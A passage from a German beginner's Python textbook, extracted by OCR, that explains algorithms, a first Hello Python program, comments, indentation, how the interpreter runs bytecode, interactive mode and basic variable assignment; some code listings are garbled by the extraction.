haben (Kapitel 3.1). In Kapitel 3.2 schreibst du dann dein erstes eigenes
Programm und du lernst, wie du es vom Computer ausfiihren lassen
kannst. Ein bisschen Quellcode in einen Texteditor einzutragen, reicht
namlich nicht aus, um auch tatsachlich etwas sehen zu konnen. Danach
erfahrst du in Kapitel 3.3, welche Schritte von der ersten Idee bis zum
fertigen Programm erforderlich sind. Auch wenn sich dieses Buch an
Einsteiger in die Programmierung richtet, ist es wichtig, dass du verstehst,
was im Hintergrund alles passiert, wenn du ein Python-Programm
ausfihrst. Deshalb lernst du in Kapitel 3.4, was der Python-Interpreter ist
und wie der Computer mit seiner Hilfe deine Python-Programme
ausfiihren kann. Es gibt aber auch die Mdglichkeit, Python interaktiv zu
verwenden. Wie das funktioniert, erfahrst du in Kapitel 3.5.

3.1 Was sind Algorithmen und Programme?

Bevor wir klaren, was man unter einem Programm versteht, nehmen wir
den Begriff , Algorithmus” etwas genauer unter die Lupe. Algorithmen sind
namlich die Basis eines jeden Programms. Ein Algorithmus ist, vereinfacht
ausgedrickt, eine fest definierte und endliche Vorgehensweise, mit der ein
Problem gelost werden kann. Probleme begegnen uns tberall und es ist
unsere Aufgabe als Menschen, diese Probleme anzugehen und zu l6sen.
Deshalb sind Algorithmen auch so wichtig. Seien es die Behandlung von
Krankheiten, fehlerhafte Software oder das Backen leckerer Muffins. Fir all
diese Probleme gibt es Losungen, die man aufschreiben und deren Schritte
man nacheinander abarbeiten kann, um am Ende das Problem zu l6sen.



Die einzelnen Schritte sind in Form von Anweisungen klar definiert, werden
in einer bestimmten Reihenfolge abgearbeitet und fiihren bei gleicher
Eingabe immer zu den gleichen Ergebnissen.

Algorithmen zeichnen sich durch verschiedene Eigenschaften aus:

e Eindeutigkeit: Ein Algorithmus muss eindeutig sein. Er darf keine
widerspriichliche Beschreibung besitzen oder Schritte definieren, die
logisch nicht miteinander vereinbar sind.

e Finitheit: Der Algorithmus muss mit endlich vielen Worten und Zeichen
beschrieben werden konnen. Finitheit bezieht sich hier also auf die
Endlichkeit in der Beschreibung des Algorithmus.

e Terminierung: Neben der Finitheit muss ein Algorithmus in endlich
vielen Schritten terminieren, d. h., irgendwann zu einem Ende kommen
und ein Ergebnis liefern. Wann und ob ein Programm jemals aufhoért zu
rechnen, kann man paradoxerweise aber nicht mit einem Algorithmus
ermitteln. Das ist das sogenannte Halteproblem, zu dem du im
folgenden Video mehr erfahrst:

https://florian-dalwigk.com/python-einsteiger/halteproblem

e Determinismus: Es muss zu jedem Zeitpunkt in der Abarbeitung klar
sein, welcher Schritt als nachstes folgt. Es besteht also bei jedem Schritt
hochstens ein Folgeschritt.

e Determiniertheit: Auch wenn die Begriffe Determinismus und
Determiniertheit dhnlich klingen, meint Determiniertheit etwas
anderes, namlich dass bei der gleichen Eingabe in den Algorithmus das
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gleiche Ergebnis herauskommt. Wenn du also den Algorithmus zum
Addieren zweier Zahlen auf 5 und 2 anwendest, dann muss, wenn du
das hundertmal machst, auch hundertmal 7 als Ergebnis
herauskommen.

e Ausfiihrbarkeit: Die einzelnen Schritte im Algorithmus miussen, fir
Mensch oder Maschine, verstandlich formuliert und ausfihrbar sein.

Wenn du selbst einen Algorithmus fiir ein bestimmtes Problem formulieren
willst, musst du sicherstellen, dass all die genannten Eigenschaften erfllt
sind.

Dazu ein kleines Beispiel aus dem Alltag: Angenommen, du mdochtest einen
Kasekuchen backen. Warum stellt dieses Vorhaben dann einen Algorithmus
dar? Nun, dazu schauen wir uns die soeben festgelegten Eigenschaften fir
einen Algorithmus an und Uberprifen, ob alle auf das Kasekuchenbacken
zutreffen.

e Eindeutigkeit: Ein Rezept  besitzt fir gewohnlich  keine
widerspriichlichen Beschreibungen, dafiir aber genaue Angaben Uber
die Zutaten sowie die Zubereitungsreihenfolge. Allerdings miisste man
formal korrekt definieren, was man z. B. unter einer ,Prise Salz“
versteht.

e Finitheit: Die Finitheit ist gegeben, da ein Rezept in endlich vielen
Wortern beschrieben werden kann.

e Terminierung: Wenn man nach einem Rezept kocht oder backt, ist es
irgendwann abgearbeitet und man kann sich das Endergebnis
(hoffentlich) schmecken lassen. Es gibt kein Rezept, das niemals endet.
Bei vielen Rezepten wird sogar angegeben, wie lange dieser
Algorithmus braucht, um zu terminieren. Das nennt man im Fachjargon
auch die Laufzeit eines Algorithmus.

e Determinismus: Bei einem Rezept ist zu jedem Zeitpunkt klar, welcher
Schritt als nachstes ausgefihrt werden soll. Die einzelnen Schritte sind
fir gewdhnlich mit Nummern versehen, sodass man als Koch oder
Backer die Reihenfolge einhalten kann.

e Determiniertheit: Wenn du mit den exakt gleichen Zutaten und den
gleichen Bedingungen das Rezept nachkochen oder nachbacken



wirdest, wiirde jedes Mal das gleiche Ergebnis herauskommen. Wenn
du ein Rezept fir Kasekuchen nachbackst, kann es nicht passieren, dass
du auf einmal eine Schwarzwalder-Kirschtorte vor dir stehen hast. Auch
wenn es nach den Kriterien eines Algorithmus nicht passieren darf, kann
es sein, dass sich die Ergebnisse geschmacklich unterscheiden, da der
Mensch keine Maschine ist und nicht jedes Mal die exakt gleichen
Bedingungen herstellen kann.

e Ausfiihrbarkeit: Die Ausfihrbarkeit ist gegeben, da Rezepte in der
Sprache des jeweiligen Kochs oder Backers geschrieben sind. Wenn die
entsprechenden Zutaten und Kichenutensilien vorhanden sind, ist ein
Nachkochen oder Nachbacken maoglich. Auch Maschinen kdnnen, nach
entsprechender  Programmierung, Rezepte nachkochen oder
nachbacken.

Nicht jeder mag Kasekuchen. Wenn du eher ein Fan von Muffins bist, dann
kdnnte dich das folgende Video interessieren:

https://florian-dalwigk.com/python-einsteiger/muffin_algorithmusblem

Was viele nicht wissen: Der Erzfeind vieler Schiler und Studenten, die
Mathematik, steckt voller Algorithmen, die der ein oder andere Lehrer
gerne als Rezept bezeichnet. Nehmen wir als Beispiel die
Mitternachtsformel:


https://florian-dalwigk.com/python-einsteiger/muffin_algorithmus

—b + Vb2 — 4ac

%12 = 2a

Sie ist die allgemeine Antwort auf die Frage, wie die Losungen einer
quadratischen Gleichung

ax’+bx+c=0

lauten. Der Algorithmus zum Losen quadratischer Gleichungen ist hierbei
die Mitternachtsformel zusammen mit der Anweisung ,setze die
gegebenen Werte flir a, b und c in die Formel ein und berechne damit das
Ergebnis”.

Schon und gut, aber was ist jetzt ein Programm? Nun, ein Programm ist
einfach nur die Darstellung eines Algorithmus in einer fliir den Computer
verstandlichen Sprache. Die Programmiersprache stellt dabei eine
Schnittstelle dar, Gber die du dem Computer sagen kannst, was er tun soll.
In Python wiirde ein Programm, das mithilfe der Mitternachtsformel die
Losungen flr eine quadratische Gleichung berechnet, bspw. Wie folgt
aussehen:

import math

float (input ("a = "))

o
Il

float (input ("b = "))

float (input ("c = "))

1

2

3

4

5 c
6

7 D = b**2 - 4*a*c

8

9 if D < O:

10 print("Unlosbar!™)

11 elif D ==

12 x = (-b + math.sgrt(D))/ (2*a)



13 print(f"x = {x}")

14 else:
15 x1 = (-b + math.sgrt(D))/ (2*a)
16 x2 = (-b - math.sgrt(D))/ (2*a)

17 print(f"x1l = {x1}\nx2 = {x2}")

Keine Sorge: Sobald du dieses Buch durchgearbeitet hast, wirst du in der
Lage sein, solche und weitere Programme eigenstandig zu entwickeln.

3.2 ,Hallo Python!“

Und, schon aufgeregt? Jetzt schreibst du dein allererstes Python-
Programm! Was soll das Programm kénnen? Nun, in der Informatik haben
sich sogenannte Hallo-Welt-Programme etabliert. Diese sollen auf
moglichst einfache Art und Weise zeigen, was alles notig ist, um in einer
bestimmten Programmiersprache, hier Python, ein lauffahiges Programm
zu schreiben. Darliber hinaus erhaltst du erste Einblicke in die Syntax. Doch
was macht das Hallo-Welt-Programm eigentlich? Nun, es gibt einfach einen
Text, meistens , Hallo Welt!“, aus. Wir werden, um uns von der Masse
abzuheben, statt ,Hallo Welt!“ die Nachricht , Hallo Python!“ ausgeben. Da
es sich um eine sehr einfache Aufgabe handelt, eignet sich dieses Idiom

hervorragend fir didaktische Zwecke.

Fir eine einfache Ausgabe bendtigt man in Python nur die Funktion mit
dem Namen print und einen Text, den man anzeigen mdchte. Dieser

lautet hier Hallo Python!:

print ("Hallo Python!™)

So, und das war es schon. Das ist das erste lauffahige Python-Programm in
deinem Leben. Herzlichen Glickwunsch! Um es auszufiuhren, speicherst du
den Quelltext in einer Datei mit dem Namen hallo.py ab und rufst es

unter Windows Uber die CMD mit dem Befehl

python hallo.py



auf. Jetzt misste der folgende Text erscheinen:

C:\Users\flo>python hallo.py
Hallo Python!

In dem folgenden Video kannst du dir alle Schritte, die fiir das Hallo-
Python-Programm? erforderlich sind, noch einmal ganz genau anschauen:

https://florian-dalwigk.com/python-einsteiger/hallo_python_programm

Das ist jetzt natlirlich ein sehr einfaches Programm. Mit der Zeit werden sie
immer komplexer und damit du nicht den Uberblick verlierst, empfehle ich
dir, dass du deinen Code kommentierst. Du musst jetzt nicht anfangen, mit
deinem Bildschirm zu reden und ihm sagen, wie toll du deinen Code
findest. Nein, mit Kommentieren ist gemeint, dass du direkt in die .py-
Datei reinschreibst, welche Aufgaben die darin enthaltenen Variablen,
Funktionen etc. erfillen. Kommentare werden mit einem Hashtag #
eingeleitet und alles, was dahinter in derselben Zeile steht, wird vom
Python-Interpreter ignoriert. Du kannst in deinem Hallo-Python-Programm
z. B. Uber die Funktion print schreiben, was sie macht:

# Die print-Funktion gibt die Nachricht "Hallo Python!" aus.
Print ("Hallo Python!")

Python ignoriert alles, was hinter dem Hashtag # steht. Ware das nicht so,
dann hattest du beim Aufruf deines Programms den Hinweis bekommen,
dass es Fehler enthalt. Fir Kommentare muss nicht immer eine eigene
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Zeile verwendet werden. Du kannst auch innerhalb einer Zeile, in der sich
bereits Code befindet, einen Kommentar verfassen. Wie bereits erwahnt
Uberliest Python alles, was hinter dem Hashtag # steht.

Print ("Hallo Python!") # Ausgabe der Nachricht "Hallo Python!"

Da sich einige Menschen einfach nicht kurzfassen konnen oder es zu
bestimmten Codepassagen einfach viel sagen gibt, kommt friher oder
spater sicherlich der Wunsch auf, einen Kommentar iber mehrere Zeilen
hinweg zu verfassen. Auch dafiir bietet Python eine L6sung. Ein
mehrzeiliger Kommentar wird mit drei Anfihrungszeichen """ eingeleitet.
Darunter schreibt man dann das, was einem auf der Programmiererseele
brennt. Wenn du fertig bist, schlieft du den mehrzeiligen Kommentar
wieder so, wie du ihn begonnen hast, namlich mit drei Anfihrungszeichen

Dies ist ein Hallo-Welt-Programm.

Zuerst wird die Funktion 'print' aufgerufen.

In die runden Klammern wird dann eingetragen, was ausgegeben
werden soll.

mwriw

print ("Hallo Python!™)

Es ist schon fast eine Kunst fiir sich, Code zu kommentieren. Wenn du mehr
dartber erfahren willst, wie man als guter Softwareentwickler seinen Code
richtig kommentiert, dann schaue dir die Tipps aus dem folgenden Video
an:
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Wie du bereits aus Kapitel 1.2 weilst, ist Python sehr leicht zu lernen. Das
kann man direkt an dem Hallo-Welt-Programm ablesen. In Java muss man
fir die Ausgabe der Nachricht Hallo Java! Hingegen zuerst eine Klasse
definieren und diese dann mit einer main-Methode versehen, die zu allem
Uberfluss auch noch einen kryptischen Ubergabeparameter erhilt. Danach
muss man einen Befehl ausfihren, der nur Uber einen verschachtelten
Aufruf innerhalb einer Bibliothek moglich ist:

public class Programm {

public static void main(final String... argumente) {
System.out.println ("Hallo Java!");

}

}

Das ist alles andere als einsteigerfreundlich. Versuche gerne mal das Hallo-
Python-Programm so umzuschreiben, dass statt Hallo Python! eine

BegrilBung wie Hallo, mein Name ist <Name>! ausgegeben wird.
<Name> ersetzt du dann naturlich durch deinen Namen.

Wenn dich die Hallo-Welt-Programme in anderen Sprachen wie Kotlin, Go,
JavaScript, C# oder Ruby interessieren, dann konnte das folgende Video fiir
dich interessant sein:
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Obwohl Python syntaktisch einfacher als andere Sprachen aussieht, so gibt
es auch hier Regeln, an die du dich halten musst. Die wirst du natdrlich alle
nacheinander kennenlernen, doch eine wichtige méchte ich dir bereits
vorab verraten: Python legt groBen Wert auf Einriickungen. Was ist damit
gemeint? Damit Python weil3, welche Anweisungen wo dazu gehoéren,
rickst du den Code durch einen Tab?® oder vier Leerzeichen ein. Du kannst
aber auch jede beliebige Anzahl an Leerzeichen oder Tabs verwenden.
Wichtig ist nur, dass innerhalb eines Python-Programms maoglichst immer
dieselbe Anzahl an Leerzeichen zum Einriicken verwendet wird. In diesem
Buch werden wir stets zwei Leerzeichen zum Einrlicken nutzen.

Auch wenn du zum jetzigen Zeitpunkt noch keine Einrlickungen bendtigst,
mochte ich dir anhand einer i f-Anweisung (Kapitel 9.1) schonmal zeigen,

wie das spater aussehen kann.

antwort = 41
if antwort == 42:

1
2
3 print("Die Antwort ist korrekt!™)
4 else:

5

print ("Die Antwort ist nicht korrekt!")

In den Zeilen 3 und 5 wurde der Code mit je zwei Leerzeichen eingertickt.
Damit wird Python signalisiert, wo die einzelnen Anweisungen zu dem i f-

und dem else-Teil dazugehéren. In Java wird diese Frage der
Zugehorigkeit bspw. mithilfe von geschweiften Klammern gel6st. Dafir
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spielen dann Einrickungen keine Rolle und theoretisch kénntest du den
gesamten Code in nur einer einzigen Zeile notieren. Das ist fiir den Leser
selbstverstandlich ein Alptraum und deshalb kannst du in gewisser Weise
froh sein, dass dich Python zu dieser weitaus besser lesbaren Struktur mit
den Einrickungen zwingt.

3.3 Von der Idee zum fertigen Programm

Um von der ersten Idee zu einem lauffahigen Programm zu kommen, sind
mehrere Schritte erforderlich.

Schritt 1

Am Anfang steht selbstverstandlich die Idee selbst. Egal, was du umsetzen
mochtest: Versuche klar und deutlich zu formulieren, was dein Programm
konnen soll. Wenn du Inspiration benotigst, was du als
Programmieranfanger in Python umsetzen konntest, dann scanne den
folgenden QR-Code:

https://florian-dalwigk.com/python-
einsteiger/python_anf%C3%A4nger_projekte

Erinnere dich zurilick, aus welcher Motivation heraus du dir dieses Buch
gekauft hast. Vielleicht méchtest du ein Spiel programmieren, die Lampen
in deinem Smart Home steuern oder deine Urlaubsfotos automatisiert
umbenennen. Mach dir aber keine Sorgen, wenn du jetzt noch nicht weift,
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was du mit Python umsetzen modchtest: Je weiter du in diesem Buch
voranschreitest, desto mehr Ideen werden dir kommen! Und wenn alle
Stricke reiflen, kannst du dich immer noch von der Projektwerkstatt in
Kapitel 12 inspirieren lassen. Dort bekommst du nach jedem Projekt sogar
DenkanstoRe, wie es weitergehen kdnnte.

Schritt 2

Den nachsten Schritt hast du bereits in Kapitel 2 umgesetzt: Die
Einrichtung deiner Entwicklungsumgebung. Damit ist gemeint, dass du dir
alle benotigten Werkzeuge wie bspw. einen Editor und den Python-
Interpreter, herunterldadst. Diesen Schritt musst du also nicht jedes Mal
erneut durchfiihren, doch du kannst ihn dazu nutzen, um evtl. vorhandene
Updates herunterzuladen und zu installieren.

Schritt 3

Bevor du wie wild drauflos programmierst, solltest du dir Gedanken
machen, wie du dein Projekt umsetzen mochtest. Es empfiehlt sich vorher
einen ,Bauplan” zu entwerfen. In der Informatik nutzt man dafir im
Regelfall UML-Diagramme, doch fur kleinere Programme, wie du sie
anfangs schreibst, ware das vollig Gbertrieben. Trotzdem solltest du dich
nicht blind ins Getiimmel stiirzen, sondern zumindest die Schritte deines
Algorithmus benennen kdnnen, den du umsetzen maochtest.

Schritt 4

Offne einen Editor deiner Wahl und schreibe dort deinen Code nieder.
Orientiere dich dabei an dem Bauplan, den du dir im vorherigen Schritt
Uberlegt hast. Speichere dein Programm anschlieend als .py-Datei ab

(z. B. programm.py).

Schritt5

Nachdem du im vorherigen Schritt deinen Code geschrieben und als .py-

Datei abgespeichert hast, geht es jetzt darum, das Programm einmal zu
starten, um zu Uberprifen, ob alles so funktioniert, wie du es dir vorstellst.
Offne dafiir die CMD und rufe mit dem Befehl

python programm.py



dein Programm auf. Fertig. Sollte es zu Fehlern kommen, missen diese
natdrlich korrigiert werden.

In dem folgenden Video zeige ich dir an einem einfachen Beispiel, wie
diese funf Schritte von der Idee bis zum fertigen Programm in der Praxis
aussehen konnten:

e
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3.4 Wie wird ein Python-Programm ausgefiihrt?

Du koénntest dich jetzt natlirlich mit dem Wissen zufriedengeben, dass der
Aufruf des Befehls python mit der anschlieBenden Angabe des
auszufithrenden Python-Programms ausreicht, um ein Programm zu
starten. Wirklich spannend wird es doch aber erst, wenn man versteht, wie
genau die Magie dahinter funktioniert, denn ansonsten bleibt
Programmieren in deinen Augen immer genau das: Magie. Deshalb stellen
wir uns in diesem Kapitel ganz bewusst die folgende Frage: Wie werden mit
dem Befehl python Programme eigentlich genau ausgefihrt?

Um diese Frage beantworten zu kdnnen, missen wir zuerst einmal klaren,
wie Programme generell vom Computer ausgefiihrt werden. Die folgende
Abbildung zeigt den konzeptionellen Ablauf vom Quellcode bis zum
ausfihrbaren Programm:
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Abbildung 3.4.1: Vom Quellcode zum Programm, inspiriert von https://youtu.be/BkHdmAhapws..

Zwei Bauteile eines Rechners sind malgeblich entscheidend, namlich der
Prozessor und der Speicher. Der Code, der vom Prozessor ausgefiuhrt wird,
liegt in Form von Befehlen im Speicher. Die Befehle sind letztendlich nur
Binarcodes, also Folgen von Einsen und Nullen. Die Menge all dieser
Befehle bezeichnet man auch als Maschinencode. Zusatzlich dazu befinden
sich im Speicher weitere Daten, die von Programmen verarbeitet werden
konnen. Die zur Verfiigung stehenden Befehle hdangen vom jeweiligen
Prozessor wie Intel oder ARM ab, denn jeder Prozessor hat seine eigene
Zusammenstellung an Befehlen, den sogenannten Befehlssatz. Der
Prozessor durchlauft fir die Verarbeitung der Befehle nun den
sogenannten Fetch/Execute-Zyklus, d. h., er holt sich einen Befehl aus dem
Speicher (@, @, , ) und fuhrt diesen aus (@, @, @, @). Ein
solcher Befehl konnte bspw. ,addiere die beiden Zahlen 2 und 9“ sein.
Nachdem der Befehl abgearbeitet wurde, startet jetzt ein neuer
Fetch/Execute-Zyklus, in dem zuerst wieder ein Befehl aus dem Speicher
geholt und dann ausgefiihrt wird. Dasselbe macht der Prozessor nun
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nacheinander fur alle Befehle, die sich im Speicher befinden. Du als
Programmierer redest in der Regel aber nicht in Maschinensprache mit
dem Computer, wie es uns der Film ,Who am |“ weismachen mochte.
Stattdessen schreibst du deinen Code z. B. in der Programmiersprache
Python in eine Textdatei (@), die auf deiner Festplatte gespeichert wird.
Das Problem ist allerdings, dass der Prozessor deinen Python-Code nicht
direkt ausfiihren kann, da er nur den Maschinencode versteht, der mithilfe
seines spezifischen Befehlssatzes erstellt wurde. In Programmiersprachen
wie C, C++ und Go kommt fiir die Ubersetzung deines Quellcodes in
Maschinencode fir einen bestimmten Prozessor auf einem bestimmten
Betriebssystem der sogenannte Compiler (@) zum Einsatz. Das Ergebnis
ist eine Binary-Datei mit direkt vom Computer ausfihrbarem
Maschinencode, der nur aus Einsen und Nullen besteht. Diese Einsen und
Nullen sind jedoch nicht willkiirlich gewahlt, sondern stehen fir Befehle
aus dem prozessorspezifischen Befehlssatz. Wenn du unter Windows bspw.
auf eine .exe-Datei klickst, wird diese Binary-Datei in den Speicher
geladen (@) und dann kann der Prozessor in seinen Fetch/Execute-Zyklen
mit der Abarbeitung der einzelnen Befehle beginnen.

In Python lauft das ein bisschen anders:
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Abbildung 3.4.2: Wie wird Python-Code interpretiert? Inspiriert von
https://youtu.be/BkHdmAhapws.

Wie hast du denn unter Windows bisher deine Python-Programme
aufgerufen? Richtig, du hast in der CMD den Befehl python (@) und

dahinter den Namen des Programms, das du ausfliihren mochtest,
eingegeben, also z. B. hallo.py @ Bei der Installation in Kapitel 2.1

war es wichtig, dass du den Haken bei Add Python 3.10 to PATH
gesetzt hast, denn nur dann kannst du bequem den Befehl python
eintippen, ohne dass die Fehlermeldung

Der Befehl "python" ist entweder falsch geschrieben oder
konnte nicht gefunden werden.

erscheint. Woran liegt das? Mit python wird der sogenannte Python-
Interpreter aufgerufen. Das ist die Datei python.exe, die sich dort
befindet, wo du Python installiert hast. Da es sich bei dem Python-
Interpreter um eine Binary-Datei handelt, wird sie beim Aufruf in den
Speicher geladen. Doch wie wird dann dein Programm ausgefihrt, wenn
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sich im Speicher der Maschinencode des Python-Interpreters befindet?
Darauf kommen wir gleich zu sprechen.

Stelle dir vor, dass der Python-Interpreter aus zwei Komponenten besteht,
namlich dem Compiler und der Python Virtual Machine (PVM). Die
Compiler-Komponente liest den Quellcode der.py-Datei ein (@) und
macht daraus den sogenannten Bytecode (@). Dieser Bytecode ist aber
kein klassischer Maschinencode, der von dem Prozessor verstanden
werden kann. Vielmehr handelt es sich um eine Art ,, Zwischensprache®, die
fir die PVM gedacht ist. Die PVM liest den zuvor generierten Bytecode ein
( @ ) und fuhrt die darin enthaltenen Befehle auf der Hardware des
Computers aus. Dadurch erwacht dein Python-Programm dann zum Leben.
Warum Python das genau so macht, wiirde an dieser Stelle zu weit fihren
— das war ohnehin schon ein ziemlicher Deep-Dive. Wichtig ist nur, dass du
grob weilst, was im Hintergrund passiert, wenn du mit dem Befehl python
den Python-Interpreter aufrufst. In dem folgenden Video kannst du dir den
Inhalt dieses Kapitels noch einmal in animierter Form anschauen.

O
s
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3.5 Python interaktiv verwenden

Bisher haben wir den Quellcode fir unsere Python-Programme in eigene
Dateien geschrieben und diese dann Uber den Befehl python von der

Konsole aus aufgerufen. Es gibt jedoch auch die Maoglichkeit, den
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Quellcode direkt in den Interpreter zu schreiben, denn wie du weil3t, rufen
wir mit python ja unseren Python-Interpreter auf. Anstatt jetzt aber dem
Interpreter mit der Angabe einer . py-Datei zu sagen, welche Codezeilen er
einlesen soll, teilen wir ihm diese Codezeilen interaktiv mit. Deshalb nennt
man diese Form der Ausfiihrung auch den interaktiven Modus.

Als Einsteiger kannst du damit schnell und unkompliziert verschiedene
Funktionen ausprobieren. Dieser Modus ist zwar nicht geeignet, um grolSe
Programme mit vielen Codezeilen auszufiihren, doch daflir hast du ja die
Moglichkeit, dem Python-Interpreter eine .py-Datei zu Ulbergeben. Du
solltest aber im Hinterkopf behalten, dass nach dem Schlielen der Konsole
auch alles, was du im interaktiven Modus programmiert hast, weg ist.
Wenn du dein Programm spater also wiederverwenden willst, solltest du
den Code in eine . py-Datei speichern.

Um in den interaktiven Modus zu gelangen, musst du die sogenannte
Python-Prompt 6ffnen. Dazu gibst du den Befehl python ohne den Pfad

zu einer . py-Datei in der Konsole ein:

python

Schon startet die Python-Prompt. Unter Windows sieht die Ausgabe wie
folgt aus:

Python 3.10.0 (tags/v3.10.0:b494f59, Oct 4 2021, 19:00:18) [MSC
v.1929 64 bit (AMD64)] on win32

Type "help”, "copyright”, "credits” or "license” for more
information.
>>>

Lasse dich von dieser Darstellung nicht abschrecken. Wichtig ist fir dich
nur die letzte Zeile, in der die drei >>> zu finden sind. Dahinter gibst du die
Befehle ein, die dann direkt vom Python-Interpreter ausgefiihrt werden. In
der ersten Zeile steht, welche Python-Version verwendet wird, hier also
3.10.0. Wenn du dir eine neuere oder altere Version installierst, steht
dort dann naturlich eine andere Zahl.

Als kleines Beispiel setzen wir das Hallo-Python-Programm aus Kapitel 3.2



um. Daflir mlssen wir hinter die drei >>> einfach nur die Funktion print
mit dem gewdlinschten Text eingeben:

>>> print ("Hallo Python!”)
Hallo Python!
>>>

Direkt unter der Befehlszeile erscheint dann die Ausgabe und du kannst
hinter den drei >>> gleich den nachsten Befehl eingeben. Dann machen

wir das doch mal. Wenn du nicht so gut im Kopfrechnen bist, kénntest du
dir bspw. 120+380 von Python ausrechnen lassen, indem du diese

Addition einfach direkt hinter die drei >>> schreibst:

>>> 120+380
500
>>>

Einfach, oder? Die Python-Prompt wird somit zu einem interaktiven
Taschenrechner, mit dem du addieren (+), subtrahieren (=), multiplizieren

(*) und dividieren (/) kannst:

>>> 20+22

42

>>> 98-29

69

>>> 12*13

156

>>> 225/25
9.0

>>>

Naheres zu den verschiedenen Grundrechenarten in Python besprechen
wir in Kapitel 5.1. Was ist aber, wenn du bspw. Zwischenergebnisse
speichern mochtest? Nun, auch dafiir gibt es in Python eine L&sung,
namlich Variablen. Das kennst du schon aus der Schule: Du hast einen
Buchstaben, hinter den du ein = und dann einen Wert schreibst:

>>> x = 10



>>>

Wie du siehst, gab es diesmal keine Ausgabe. Das liegt daran, dass im
interaktiven Modus nur dann Werte notiert werden, wenn ein
Zwischenergebnis berechnet wurde oder du etwas ausgibst. Wenn du jetzt
einfach nur das x hinter die drei >>> schreibst, wird das darin

gespeicherte Zwischenergebnis ausgegeben:

>>> X
10
>>>

Das ist jetzt erstmal noch ziemlich langweilig. Also definieren wir eine
zweite Variable:

>>> y = 2
>>>

Jetzt kdnnen wir mit diesen beiden Variablen rechnen, so wie wir es vorhin
mit den Zahlen getan haben:

>>> x + y
12
>>> X -y

8

>>> x *y
20

>>> x /vy
5.0

>>>

Beenden kannst du den interaktiven Modus, indem du die Funktion
exit () aufrufst, die Tastenkombination STRG+Z und dann ENTER

driickst oder direkt das gesamte Fenster schlie3t. Beachte, dass du bei der
ersten Variante mit exit tatsachlich auch die runden Klammern dahinter

schreibst, da es sich hierbei um einen Funktionsaufruf handelt.

In dem folgenden Video zeige ich dir noch einmal Schritt fiir Schritt, wie
der interaktive Modus unter Windows verwendet werden kann:
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4 Variablen und Datentypen

Variablen sind Speicherorte in deinen Programmen. Hier kannst du Werte
sichern und zu einem spateren Zeitpunkt wiederverwenden. In Kapitel 4.1
erfahrst du zuerst einmal, was eine Variable genau ist und wie man sie in
Python definieren kann. Kapitel 4.2 liefert dir eine Ubersicht (iber gingige
Datentypen. In Kapitel 4.3 erfahrst du, wie man verschiedene Datentypen
ineinander umwandeln kann. Den Datentyp St ring werden wir in Kapitel
4.4 im Detail besprechen und verschiedene Methoden kennenlernen, mit
denen sie bearbeitet werden kénnen. In den Ubungsaufgaben von Kapitel
4.5 kannst du dein Wissen unter Beweis stellen.

4.1 Was ist eine Variable?

Variablen sind ein wichtiger Bestandteil von Programmen. Ohne sie ware
Programmieren sehr langweilig, da man nichts speichern kdnnte und daher
sehr viel tippen misste. Variablen dienen also als Datenspeicher und
werden auf deinem Rechner wahrend der Programmausfiihrung im-
sogenannten Arbeitsspeicher (RAM?®) abgelegt. Den RAM kannst du dir
vereinfacht wie ein Bilicherregal vorstellen. Das, was du speichern
mochtest, schreibst du in ein Buch und legst es dann im Blicherregal ab.
Auf dem Buchriicken notierst du den Variablennamen. Wenn im laufenden
Programm der Wert einer Variable benotigt wird, holt man einfach das
passende Buch hervor und liest ihn ab, d. h., mit dem Variablennamen
kann der Speicherort im RAM gefunden werden. Deshalb solltest du
Namensdopplungen vermeiden. Andernfalls kann es zu Verwirrungen und
Fehlern kommen, weil der Speicherort moglicherweise nicht gefunden
wird. Stelle dir mal vor, was passieren wirde, wenn du vor einem
Blicherregal stehst und dort fiinfmal ein Buch vorfindest, auf dessen
Ricken ,Permanent Record” steht, obwohl all diese Biicher
unterschiedliche Informationen enthalten. Dann hast du den Salat. Und



wenn du die Blicher schon nicht auseinanderhalten kannst, wie soll es
dann der Computer tun?

Blicher konnen unterschiedlich dick sein, je nachdem, wie viele
Informationen darin gespeichert wurden. Zudem gibt es verschiedene
Bindungstechniken wie etwa eine Ringbindung, die Klebebindung, die
Rickendrahtheftung usw. So ist das auch bei Variablen: Sie kdnnen
unterschiedliche GroBen und Datentypen besitzen. Man kann in ihnen
kurze Namen, kleine Zahlen oder den gesamten Text aller Bande von
,Harry Potter” speichern. Zur besseren Unterscheidung und Organisation
ist es in Java bspw. notwendig, bereits bei der Geburt einer Variable einen
sogenannten Datentyp festzulegen. In Python ist das nicht erforderlich,
denn diese  Typumwandlung  wird flexibel wahrend der
Programmausfiihrung vorgenommen. Man spricht dabei von dynamischer
Typisierung. Das hat auch Einfluss auf die Definition einer Variable.

Apropos Definition: Wie wird in Python eine Variable definiert? Ganz
einfach! Du schreibst auf die linke Seite den Namen der Variable, dann ein
= und dahinter auf die rechte Seite dann, welchen Wert du der Variable

zuweisen mochtest. Die folgende Code-Schablone zeigt, wie die Zuweisung
eines Werts zu einer Variable syntaktisch aussieht:

<Variable> = <Wert>

Code-Schablone 4.1.1: Variablenzuweisung

Die Leerzeichen konnen dabei weggelassen werden.

Beispiel 4.1.1: Es soll eine Variable name definiert werden, die den Namen
Florian speichern kann. In einer weiteren Variable alter soll das Alter
von Florian gespeichert werden:

1 name = "Florian"

2 alter = 29

Du kannst eine Variable kopieren, indem du sie als <Wert> auf die rechte
Seite einer anderen Variablenzuweisung schreibst.



Beispiel 4.1.2: Gegeben sei die folgende Variable:

1 antwortl = 42

Diese soll kopiert werden. Dazu definieren wir eine zweite Variable
antwort2 und schreiben die Variable antwort1 auf die rechte Seite:

2 antwort2 = antwortl # antwort2 hat jetzt den Wert 42.

Wenn du die <Werte> zweier Variablen vertauschen mochtest, dann
benodtigst du normalerweise eine dritte Variable, in die du den <Wert>
von einer der beiden Variablen kopieren kannst.

Beispiel 4.1.3: Gegeben seien die beiden folgenden Variablen

1 name = 29

2 alter = "Florian"

Ganz offensichtlich wurde bei der Zuweisung der <Werte> zu den
Variablen etwas durcheinandergebracht. Das, was in der Variable name
steht, erwartet man eigentlich in alter und umgekehrt. Um die
<Werte> zu vertauschen, bendtigen wir eine Hilfsvariable, die man fir
gewohnlich tmp nennt. Jetzt kopieren wir den <Wert> einer der beiden
Variablen, hier bspw. von alter, in tmp:

3 tmp = alter
AnschlieBend wird der <Wert> von name in die Variable alter kopiert:

4 alter = name

Zum Schluss kopiert man den in tmp gespeicherten Wert der Variable
alter indie Variable name:

5 name = tmp



Wenn du dir den Prozess des Variablentauschs in Python noch einmal als
Animation anschauen mochtest, dann scanne den folgenden QR-Code:

https://florian-dalwigk.com/python-einsteiger/variablen_tauschen

Du kannst Gbrigens auch mehreren Variablen innerhalb einer Zeile Werte
